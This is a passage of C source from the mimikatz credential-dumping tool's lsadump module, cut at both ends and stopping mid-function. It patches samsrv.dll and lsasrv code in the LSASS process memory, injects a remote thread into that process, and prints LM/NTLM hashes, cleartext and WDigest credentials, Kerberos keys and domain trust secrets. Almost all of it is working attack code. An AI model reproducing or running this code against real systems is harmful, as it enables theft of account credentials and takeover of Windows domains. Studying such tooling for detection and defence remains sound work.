BYTE PTRN_WALL_SampQueryInformationUserInternal[]	= {0x49, 0x8d, 0x41, 0x20};
BYTE PATC_WIN5_NopNop[]								= {0x90, 0x90};
BYTE PATC_WALL_JmpShort[]							= {0xeb, 0x04};
KULL_M_PATCH_GENERIC SamSrvReferences[] = {
	{KULL_M_WIN_BUILD_2K3,		{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WIN5_NopNop),		PATC_WIN5_NopNop},		{-17}},
	{KULL_M_WIN_BUILD_VISTA,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-21}},
	{KULL_M_WIN_BUILD_BLUE,		{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-24}},
	{KULL_M_WIN_BUILD_10_1507,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-21}},
	{KULL_M_WIN_BUILD_10_1703,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-19}},
	{KULL_M_WIN_BUILD_10_1709,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-21}},
	{KULL_M_WIN_BUILD_10_1809,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-24}},
};
#elif defined(_M_IX86)
BYTE PTRN_WALL_SampQueryInformationUserInternal[]	= {0xc6, 0x40, 0x22, 0x00, 0x8b};
BYTE PATC_WALL_JmpShort[]							= {0xeb, 0x04};
KULL_M_PATCH_GENERIC SamSrvReferences[] = {
	{KULL_M_WIN_BUILD_XP,		{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-8}},
	{KULL_M_WIN_BUILD_8,		{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-12}},
	{KULL_M_WIN_BUILD_BLUE,		{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-8}},
	{KULL_M_WIN_BUILD_10_1507,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-8}},
	{KULL_M_WIN_BUILD_10_1607,	{sizeof(PTRN_WALL_SampQueryInformationUserInternal),	PTRN_WALL_SampQueryInformationUserInternal},	{sizeof(PATC_WALL_JmpShort),	PATC_WALL_JmpShort},	{-12}},
};
#endif
PCWCHAR szSamSrv = L"samsrv.dll", szLsaSrv = L"lsasrv.dll", szNtDll = L"ntdll.dll", szKernel32 = L"kernel32.dll", szAdvapi32 = L"advapi32.dll";
NTSTATUS kuhl_m_lsadump_lsa(int argc, wchar_t * argv[])
{
	NTSTATUS status = STATUS_UNSUCCESSFUL, enumStatus;

	LSA_OBJECT_ATTRIBUTES objectAttributes;
	LSA_HANDLE hPolicy;
	PPOLICY_ACCOUNT_DOMAIN_INFO pPolicyDomainInfo;
	SAMPR_HANDLE hSam, hDomain;
	PSAMPR_RID_ENUMERATION pEnumBuffer = NULL;
	DWORD CountRetourned, EnumerationContext = 0;
	DWORD rid, i;
	UNICODE_STRING uName;
	PCWCHAR szRid = NULL, szName = NULL;
	PUNICODE_STRING puName = NULL;
	PDWORD pRid = NULL, pUse = NULL;

	PKULL_M_MEMORY_HANDLE hMemory = NULL;
	KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv;
	HANDLE hSamSs = NULL;
	KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatchMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	KULL_M_MEMORY_SEARCH sMemory;
	PKULL_M_PATCH_GENERIC currentSamSrvReference;
	
	KULL_M_MEMORY_ADDRESS aRemoteFunc;
	PKULL_M_MEMORY_ADDRESS aRemoteThread = NULL;
	
	static BOOL isPatching = FALSE;	

	REMOTE_EXT extensions[] = {
		{szSamSrv,	"SamIConnect",						(PVOID) 0x4141414141414141, NULL},
		{szSamSrv,	"SamrCloseHandle",					(PVOID) 0x4242424242424242, NULL},
		{szSamSrv,	"SamIRetrievePrimaryCredentials",	(PVOID) 0x4343434343434343, NULL},
		{szSamSrv,	"SamrOpenDomain",					(PVOID) 0x4444444444444444, NULL},
		{szSamSrv,	"SamrOpenUser",						(PVOID) 0x4545454545454545, NULL},
		{szSamSrv,	"SamrQueryInformationUser",			(PVOID) 0x4646464646464646, NULL},
		{szSamSrv,	"SamIFree_SAMPR_USER_INFO_BUFFER",	(PVOID) 0x4747474747474747, NULL},
		{szKernel32,"VirtualAlloc",						(PVOID) 0x4a4a4a4a4a4a4a4a, NULL},
		{szKernel32,"LocalFree",						(PVOID) 0x4b4b4b4b4b4b4b4b, NULL},
		{szNtDll,	"memcpy",							(PVOID) 0x4c4c4c4c4c4c4c4c, NULL},
		{szKernel32,"LocalAlloc",						(PVOID) 0x4d4d4d4d4d4d4d4d, NULL},
	};
	MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
	
	if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL))
	{
		if(currentSamSrvReference = kull_m_patch_getGenericFromBuild(SamSrvReferences, ARRAYSIZE(SamSrvReferences), MIMIKATZ_NT_BUILD_NUMBER))
		{
			aPatternMemory.address = currentSamSrvReference->Search.Pattern;
			aPatchMemory.address = currentSamSrvReference->Patch.Pattern;

			if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION))
			{
				if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"samsrv.dll", &iModuleSamSrv))
				{
					sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase;
					sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage;
					isPatching = TRUE;
					if(!kull_m_patch(&sMemory, &aPatternMemory, currentSamSrvReference->Search.Length, &aPatchMemory, currentSamSrvReference->Patch.Length, currentSamSrvReference->Offsets.off0, kuhl_m_lsadump_lsa, argc, argv, NULL))
						PRINT_ERROR_AUTO(L"kull_m_patch");
					isPatching = FALSE;
				}
				else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
			}
		}
	}
	else
	{
		if(!isPatching && kull_m_string_args_byName(argc, argv, L"inject", NULL, NULL))
		{
			if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD))
			{
				if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_sekurlsa_samsrv_thread, (DWORD) ((PBYTE) kuhl_sekurlsa_samsrv_thread_end - (PBYTE) kuhl_sekurlsa_samsrv_thread), &extForCb, &aRemoteFunc))
					aRemoteThread = &aRemoteFunc;
				else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
			}
		}
		RtlZeroMemory(&objectAttributes, sizeof(LSA_OBJECT_ATTRIBUTES));
		if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_VIEW_LOCAL_INFORMATION, &hPolicy)))
		{
			if(NT_SUCCESS(LsaQueryInformationPolicy(hPolicy, PolicyAccountDomainInformation, (PVOID *) &pPolicyDomainInfo)))
			{
				status = SamConnect(NULL, &hSam, 0x000F003F, FALSE);
				if(NT_SUCCESS(status))
				{
					status = SamOpenDomain(hSam, 0x705, pPolicyDomainInfo->DomainSid, &hDomain);
					if(NT_SUCCESS(status))
					{
						kprintf(L"Domain : %wZ / ", &pPolicyDomainInfo->DomainName);
						kull_m_string_displaySID(pPolicyDomainInfo->DomainSid);
						kprintf(L"\n");
						
						if(kull_m_string_args_byName(argc, argv, L"id", &szRid, NULL))
						{
							if(rid = wcstoul(szRid, NULL, 0))
							{
								status = SamLookupIdsInDomain(hDomain, 1, &rid, &puName, &pUse);
								if(NT_SUCCESS(status))
								{
									kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, rid, puName, aRemoteThread);
									SamFreeMemory(puName);
									SamFreeMemory(pUse);
								} else PRINT_ERROR(L"SamLookupIdsInDomain %08x\n", status);
							}
							else PRINT_ERROR(L"\'%s\' is not a valid Id\n", szRid);

						}
						else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szName, NULL))
						{
							RtlInitUnicodeString(&uName, szName);
							status = SamLookupNamesInDomain(hDomain, 1, &uName, &pRid, &pUse);
							if(NT_SUCCESS(status))
							{
								kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, *pRid, &uName, aRemoteThread);
								SamFreeMemory(pRid);
								SamFreeMemory(pUse);
							} else PRINT_ERROR(L"SamLookupNamesInDomain %08x\n", status);
						}
						else
						{
							do
							{
								enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
								if(NT_SUCCESS(enumStatus) || enumStatus == STATUS_MORE_ENTRIES)
								{
									for(i = 0; i < CountRetourned; i++)
										kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, pEnumBuffer[i].RelativeId, &pEnumBuffer[i].Name, aRemoteThread);
									SamFreeMemory(pEnumBuffer);
								} else PRINT_ERROR(L"SamEnumerateUsersInDomain %08x\n", enumStatus);
							} while(enumStatus == STATUS_MORE_ENTRIES);
						}
						SamCloseHandle(hDomain);
					} else PRINT_ERROR(L"SamOpenDomain %08x\n", status);
					SamCloseHandle(hSam);
				} else PRINT_ERROR(L"SamConnect %08x\n", status);
				LsaFreeMemory(pPolicyDomainInfo);
			}
			LsaClose(hPolicy);
		}

		if(aRemoteThread)
			kull_m_memory_free(aRemoteThread);
	}

	if(hMemory)
	{
		if(hMemory->pHandleProcess->hProcess)
			CloseHandle(hMemory->pHandleProcess->hProcess);
		kull_m_memory_close(hMemory);
	}
	return status;
}

BOOL kuhl_m_lsadump_lsa_getHandle(PKULL_M_MEMORY_HANDLE * hMemory, DWORD Flags)
{
	BOOL success = FALSE;
	SERVICE_STATUS_PROCESS ServiceStatusProcess;
	HANDLE hProcess;

	if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess))
	{
		if(hProcess = OpenProcess(Flags, FALSE, ServiceStatusProcess.dwProcessId))
		{
			if(!(success = kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, hMemory)))
				CloseHandle(hProcess);
		}
		else PRINT_ERROR_AUTO(L"OpenProcess");
	}
	else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
	return success;
}


void kuhl_m_lsadump_lsa_user(SAMPR_HANDLE DomainHandle, PSID DomainSid, DWORD rid, PUNICODE_STRING name, PKULL_M_MEMORY_ADDRESS aRemoteThread)
{
	SAMPR_HANDLE hUser;
	PSAMPR_USER_INFO_BUFFER pUserInfoBuffer;
	NTSTATUS status;
	DWORD BufferSize = 0, i;
	PLSA_SUPCREDENTIALS pCreds = NULL;
	PLSA_SUPCREDENTIAL pCred;
	PREMOTE_LIB_INPUT_DATA iData;
	REMOTE_LIB_OUTPUT_DATA oData;

	kprintf(L"\nRID  : %08x (%u)\nUser : %wZ\n", rid, rid, name);

	if(!aRemoteThread)
	{
		status = SamOpenUser(DomainHandle, 0x31b, rid, &hUser);
		if(NT_SUCCESS(status))
		{
			status = SamQueryInformationUser(hUser, UserInternal1Information, &pUserInfoBuffer);
			if(NT_SUCCESS(status))
			{
				kprintf(L"LM   : ");
				if(pUserInfoBuffer->Internal1.LmPasswordPresent)
					kull_m_string_wprintf_hex(pUserInfoBuffer->Internal1.LMHash, LM_NTLM_HASH_LENGTH, 0);
				kprintf(L"\nNTLM : ");
				if(pUserInfoBuffer->Internal1.NtPasswordPresent)
					kull_m_string_wprintf_hex(pUserInfoBuffer->Internal1.NTHash, LM_NTLM_HASH_LENGTH, 0);
				kprintf(L"\n");
				SamFreeMemory(pUserInfoBuffer);
			} else PRINT_ERROR(L"SamQueryInformationUser %08x\n", status);
			SamCloseHandle(hUser);
		} else PRINT_ERROR(L"SamOpenUser %08x\n", status);
	}
	else
	{
		if(iData = kull_m_remotelib_CreateInput(NULL, rid, GetLengthSid(DomainSid), DomainSid))
		{
			if(kull_m_remotelib_create(aRemoteThread, iData, &oData))
			{
				if(pCreds = (PLSA_SUPCREDENTIALS) oData.outputData)
				{
					for(i = 0; i < pCreds->count; i++)
					{
						pCred = ((PLSA_SUPCREDENTIAL) ((PBYTE) pCreds + sizeof(LSA_SUPCREDENTIALS))) + i;
						if(pCred->offset && pCred->size)
							kuhl_m_lsadump_lsa_DescrBuffer(pCred->type, rid, (PBYTE) pCreds + pCred->offset, pCred->size);
					}
					LocalFree(pCreds);
				}
			}
			LocalFree(iData);
		}
	}
}

PCWCHAR KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[] = {L"Primary", L"CLEARTEXT", L"WDigest", L"Kerberos", L"Kerberos-Newer-Keys", L"NTLM-Strong-NTOWF"};
void kuhl_m_lsadump_lsa_DescrBuffer(DWORD type, DWORD rid, PVOID Buffer, DWORD BufferSize)
{
	DWORD i;
	PWDIGEST_CREDENTIALS pWDigest;
	PKERB_STORED_CREDENTIAL pKerb;
	PKERB_KEY_DATA pKeyData;
	PKERB_STORED_CREDENTIAL_NEW pKerbNew;
	PKERB_KEY_DATA_NEW pKeyDataNew;
	PKIWI_SAMPR_USER_INTERNAL42_INFORMATION pUserInfos;
	PKIWI_LSA_PRIVATE_DATA pData;

	kprintf(L"\n * %s\n", (type < ARRAYSIZE(KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE)) ? KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[type] : L"unknown");
	switch(type)
	{
	case 0:
		pUserInfos = (PKIWI_SAMPR_USER_INTERNAL42_INFORMATION) Buffer;
		kprintf(L"    NTLM : ");
		if(pUserInfos->Internal1.NtPasswordPresent)
			kull_m_string_wprintf_hex(pUserInfos->Internal1.NTHash, LM_NTLM_HASH_LENGTH, 0);
		kprintf(L"\n    LM   : ");
		if(pUserInfos->Internal1.LmPasswordPresent)
			kull_m_string_wprintf_hex(pUserInfos->Internal1.LMHash, LM_NTLM_HASH_LENGTH, 0);
		kprintf(L"\n");
		if(pUserInfos->cbPrivate)
		{
			pData = (PKIWI_LSA_PRIVATE_DATA) pUserInfos->Private;
			if(pData->NtLength)
				kuhl_m_lsadump_dcsync_decrypt(pData->NtHash, LM_NTLM_HASH_LENGTH, rid, L"NTLM", FALSE);
			if(pData->NtHistoryLength)
				kuhl_m_lsadump_dcsync_decrypt(pData->Data, pData->NtHistoryLength, rid, L"ntlm", TRUE);
			if(pData->LmLength)
				kuhl_m_lsadump_dcsync_decrypt(pData->LmHash, LM_NTLM_HASH_LENGTH, rid, L"LM  ", FALSE);
			if(pData->LmHistoryLength)
				kuhl_m_lsadump_dcsync_decrypt(pData->Data + pData->NtHistoryLength, pData->LmHistoryLength, rid, L"lm  ", TRUE);
		}
		break;
	case 1:
		kprintf(L"    %.*s\n", BufferSize / sizeof(wchar_t), Buffer);
		break;
	case 2:
		pWDigest = (PWDIGEST_CREDENTIALS) Buffer;
		for(i = 0; i < pWDigest->NumberOfHashes; i++)
		{
			kprintf(L"    %02u  ", i + 1);
			kull_m_string_wprintf_hex(pWDigest->Hash[i], MD5_DIGEST_LENGTH, 0);
			kprintf(L"\n");
		}
		break;
	case 3:
		pKerb = (PKERB_STORED_CREDENTIAL) Buffer;
		kprintf(L"    Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PBYTE) pKerb + pKerb->DefaultSaltOffset);
		pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL));
		pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials");
		kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials");
		break;
	case 4:
		pKerbNew = (PKERB_STORED_CREDENTIAL_NEW) Buffer;
		kprintf(L"    Default Salt : %.*s\n    Default Iterations : %u\n", pKerbNew->DefaultSaltLength / sizeof(wchar_t), (PBYTE) pKerbNew + pKerbNew->DefaultSaltOffset, pKerbNew->DefaultIterationCount);
		pKeyDataNew = (PKERB_KEY_DATA_NEW) ((PBYTE) pKerbNew + sizeof(KERB_STORED_CREDENTIAL_NEW));
		pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->CredentialCount, L"Credentials");
		pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->ServiceCredentialCount, L"ServiceCredentials");
		pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials");
		kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials");
		break;
	case 5:
		kprintf(L"    Random Value : ");
		kull_m_string_wprintf_hex(Buffer, BufferSize, 0);
		kprintf(L"\n");
		break;
	default:
		kull_m_string_wprintf_hex(Buffer, BufferSize, 1);
		kprintf(L"\n");
	}
}

PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, USHORT Count, PCWSTR title)
{
	USHORT i;
	if(Count)
	{
		if(title)
			kprintf(L"    %s\n", title);
		for(i = 0; i < Count; i++)
		{
			kprintf(L"      %s : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType));
			kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0);
			kprintf(L"\n");
		}
	}
	return (PKERB_KEY_DATA) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA));
}

PKERB_KEY_DATA_NEW kuhl_m_lsadump_lsa_keyDataNewInfo(PVOID base, PKERB_KEY_DATA_NEW keys, USHORT Count, PCWSTR title)
{
	USHORT i;
	if(Count)
	{
		if(title)
			kprintf(L"    %s\n", title);
		for(i = 0; i < Count; i++)
		{
			kprintf(L"      %s (%u) : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType), keys->IterationCount);
			kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0);
			kprintf(L"\n");
		}
	}
	return (PKERB_KEY_DATA_NEW) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA_NEW));
}

const wchar_t * TRUST_AUTH_TYPE[] = {
	L"NONE   ",
	L"NT4OWF ",
	L"CLEAR  ",
	L"VERSION",
};
DECLARE_UNICODE_STRING(uKrbtgt, L"krbtgt");
void kuhl_m_lsadump_trust_authinformation(PLSA_AUTH_INFORMATION info, DWORD count, PNTDS_LSA_AUTH_INFORMATION infoNtds, PCWSTR prefix, PCUNICODE_STRING from, PCUNICODE_STRING dest)
{
	DWORD i, j;
	UNICODE_STRING dst, password;
	LONG kerbType[] = {KERB_ETYPE_AES256_CTS_HMAC_SHA1_96, KERB_ETYPE_AES128_CTS_HMAC_SHA1_96, KERB_ETYPE_RC4_HMAC_NT};

	kprintf(L" [%s] %wZ -> %wZ\n", prefix, from, dest);
	if(info)
	{
		for(i = 0; i < count; i++)
		{
			kprintf(L"    * "); kull_m_string_displayLocalFileTime((PFILETIME) &info[i].LastUpdateTime);
			kprintf((info[i].AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? L" - %s - " : L"- %u - ", (info[i].AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? TRUST_AUTH_TYPE[info[i].AuthType] : L"unknown?");
			kull_m_string_wprintf_hex(info[i].AuthInfo, info[i].AuthInfoLength, 1); kprintf(L"\n");

			if(info[i].AuthType == TRUST_AUTH_TYPE_CLEAR)
			{
				dst.Length = 0;
				dst.MaximumLength = from->Length + uKrbtgt.Length + dest->Length;
				if(dst.Buffer = (PWSTR) LocalAlloc(LPTR, dst.MaximumLength))
				{
					RtlAppendUnicodeStringToString(&dst, from);
					RtlAppendUnicodeStringToString(&dst, &uKrbtgt);
					RtlAppendUnicodeStringToString(&dst, dest);
					password.Length = password.MaximumLength = (USHORT) info[i].AuthInfoLength;
					password.Buffer = (PWSTR) info[i].AuthInfo;
					for(j = 0; j < ARRAYSIZE(kerbType); j++)
						kuhl_m_kerberos_hash_data(kerbType[j], &password, &dst, 4096);
					LocalFree(dst.Buffer);
				}
			}
		}
	}
	else if(infoNtds)
	{
		kprintf(L"    * "); kull_m_string_displayLocalFileTime((PFILETIME) &infoNtds->LastUpdateTime);
		kprintf((infoNtds->AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? L" - %s - " : L"- %u - ", (infoNtds->AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? TRUST_AUTH_TYPE[infoNtds->AuthType] : L"unknown?");
		kull_m_string_wprintf_hex(infoNtds->AuthInfo, infoNtds->AuthInfoLength, 1); kprintf(L"\n");

		if(infoNtds->AuthType == TRUST_AUTH_TYPE_CLEAR)
		{
			dst.Length = 0;
			dst.MaximumLength = from->Length + uKrbtgt.Length + dest->Length;
			if(dst.Buffer = (PWSTR) LocalAlloc(LPTR, dst.MaximumLength))
			{
				RtlAppendUnicodeStringToString(&dst, from);
				RtlAppendUnicodeStringToString(&dst, &uKrbtgt);
				RtlAppendUnicodeStringToString(&dst, dest);
				password.Length = password.MaximumLength = (USHORT) infoNtds->AuthInfoLength;
				password.Buffer = (PWSTR) infoNtds->AuthInfo;
				for(j = 0; j < ARRAYSIZE(kerbType); j++)
					kuhl_m_kerberos_hash_data(kerbType[j], &password, &dst, 4096);
				LocalFree(dst.Buffer);
			}
		}
	}
	kprintf(L"\n");
}

BYTE PATC_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xeb};
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
BYTE PTRN_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xbb, 0x03, 0x00, 0x00, 0xc0, 0xe9};
KULL_M_PATCH_GENERIC QueryInfoTrustedDomainReferences[] = {
	{KULL_M_WIN_BUILD_2K3,		{sizeof(PTRN_WALL_LsaDbrQueryInfoTrustedDomain),	PTRN_WALL_LsaDbrQueryInfoTrustedDomain},	{sizeof(PATC_WALL_LsaDbrQueryInfoTrustedDomain),	PATC_WALL_LsaDbrQueryInfoTrustedDomain},	{-11}},
};
#elif defined(_M_IX86)
BYTE PTRN_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xc7, 0x45, 0xfc, 0x03, 0x00, 0x00, 0xc0, 0xe9};
KULL_M_PATCH_GENERIC QueryInfoTrustedDomainReferences[] = {
	{KULL_M_WIN_BUILD_2K3,		{sizeof(PTRN_WALL_LsaDbrQueryInfoTrustedDomain),	PTRN_WALL_LsaDbrQueryInfoTrustedDomain},	{sizeof(PATC_WALL_LsaDbrQueryInfoTrustedDomain),	PATC_WALL_LsaDbrQueryInfoTrustedDomain},	{-10}},
};
#endif
NTSTATUS kuhl_m_lsadump_trust(int argc, wchar_t * argv[])
{
	LSA_HANDLE hLSA;
	LSA_ENUMERATION_HANDLE hLSAEnum = 0;
	LSA_OBJECT_ATTRIBUTES oaLsa = {0};
	NTSTATUS statusEnum, status;
	PPOLICY_DNS_DOMAIN_INFO pDomainInfo;
	PTRUSTED_DOMAIN_INFORMATION_EX domainInfoEx;
	PTRUSTED_DOMAIN_AUTH_INFORMATION authinfos = NULL;
	DWORD i, returned;

	PKULL_M_PATCH_GENERIC currentReference;
	PKULL_M_MEMORY_HANDLE hMemory = NULL;
	KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule;
	KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatchMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	KULL_M_MEMORY_SEARCH sMemory;
	LPCWSTR szSystem = NULL;
	UNICODE_STRING uSystem;

	static BOOL isPatching = FALSE;

	if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
		RtlInitUnicodeString(&uSystem, szSystem);

	if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL))
	{
		if(currentReference = kull_m_patch_getGenericFromBuild(QueryInfoTrustedDomainReferences, ARRAYSIZE(QueryInfoTrustedDomainReferences), MIMIKATZ_NT_BUILD_NUMBER))
		{
			aPatternMemory.address = currentReference->Search.Pattern;
			aPatchMemory.address = currentReference->Patch.Pattern;

			if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION))
			{
				if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) ? L"lsasrv.dll" : L"lsadb.dll", &iModule))
				{
					sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModule.DllBase;
					sMemory.kull_m_memoryRange.size = iModule.SizeOfImage;
					isPatching = TRUE;
					if(!kull_m_patch(&sMemory, &aPatternMemory, currentReference->Search.Length, &aPatchMemory, currentReference->Patch.Length, currentReference->Offsets.off0, kuhl_m_lsadump_trust, argc, argv, NULL))
						PRINT_ERROR_AUTO(L"kull_m_patch");
					isPatching = FALSE;
				}
				else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
			}
		}
	}
	else
	{
		if(NT_SUCCESS(LsaOpenPolicy(szSystem ? &uSystem : NULL, &oaLsa, POLICY_VIEW_LOCAL_INFORMATION, &hLSA)))
		{
			status = LsaQueryInformationPolicy(hLSA, PolicyDnsDomainInformation, (PVOID *) &pDomainInfo);
			if(NT_SUCCESS(status))
			{
				RtlUpcaseUnicodeString(&pDomainInfo->DnsDomainName, &pDomainInfo->DnsDomainName, FALSE);
				kprintf(L"\nCurrent domain: %wZ (%wZ", &pDomainInfo->DnsDomainName, &pDomainInfo->Name);
				if(pDomainInfo->Sid)
					kprintf(L" / "); kull_m_string_displaySID(pDomainInfo->Sid);
				kprintf(L")\n");

				for(
					hLSAEnum = 0, statusEnum = LsaEnumerateTrustedDomainsEx(hLSA, &hLSAEnum, (PVOID *) &domainInfoEx, 0, &returned);
					returned && ((statusEnum == STATUS_SUCCESS) || (statusEnum == STATUS_MORE_ENTRIES));
				statusEnum = LsaEnumerateTrustedDomainsEx(hLSA, &hLSAEnum, (PVOID *) &domainInfoEx, 0, &returned)
					)
				{
					for(i = 0; i < returned; i++)
					{
						RtlUpcaseUnicodeString(&domainInfoEx[i].Name, &domainInfoEx[i].Name, FALSE);
						kprintf(L"\nDomain: %wZ (%wZ", &domainInfoEx[i].Name, &domainInfoEx[i].FlatName);
						if(domainInfoEx[i].Sid)
							kprintf(L" / "); kull_m_string_displaySID(domainInfoEx[i].Sid);
						kprintf(L")\n");

						status = LsaQueryTrustedDomainInfoByName(hLSA, &domainInfoEx[i].Name, TrustedDomainAuthInformation, (PVOID *) &authinfos);
						if(NT_SUCCESS(status))
						{
							kuhl_m_lsadump_trust_authinformation(authinfos->IncomingAuthenticationInformation, authinfos->IncomingAuthInfos, NULL, L"  In ", &pDomainInfo->DnsDomainName, &domainInfoEx[i].Name);
							kuhl_m_lsadump_trust_authinformation(authinfos->OutgoingAuthenticationInformation, authinfos->OutgoingAuthInfos, NULL, L" Out ", &domainInfoEx[i].Name, &pDomainInfo->DnsDomainName);
							kuhl_m_lsadump_trust_authinformation(authinfos->IncomingPreviousAuthenticationInformation, authinfos->IncomingAuthInfos, NULL, L" In-1", &pDomainInfo->DnsDomainName, &domainInfoEx[i].Name);
							kuhl_m_lsadump_trust_authinformation(authinfos->OutgoingPreviousAuthenticationInformation, authinfos->OutgoingAuthInfos, NULL, L"Out-1", &domainInfoEx[i].Name, &pDomainInfo->DnsDomainName);
							LsaFreeMemory(authinfos);
						}
						else PRINT_ERROR(L"LsaQueryTrustedDomainInfoByName %08x\n", status);
					}
					LsaFreeMemory(domainInfoEx);
				}
				if((statusEnum != STATUS_NO_MORE_ENTRIES) && (statusEnum != STATUS_SUCCESS))
					PRINT_ERROR(L"LsaEnumerateTrustedDomainsEx %08x\n", statusEnum);

				LsaFreeMemory(pDomainInfo);
			}
			LsaClose(hLSA);
		}
	}
	return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_LsaRetrievePrivateData(PCWSTR systemName, PCWSTR secretName, PUNICODE_STRING secret, BOOL isSecret)
{
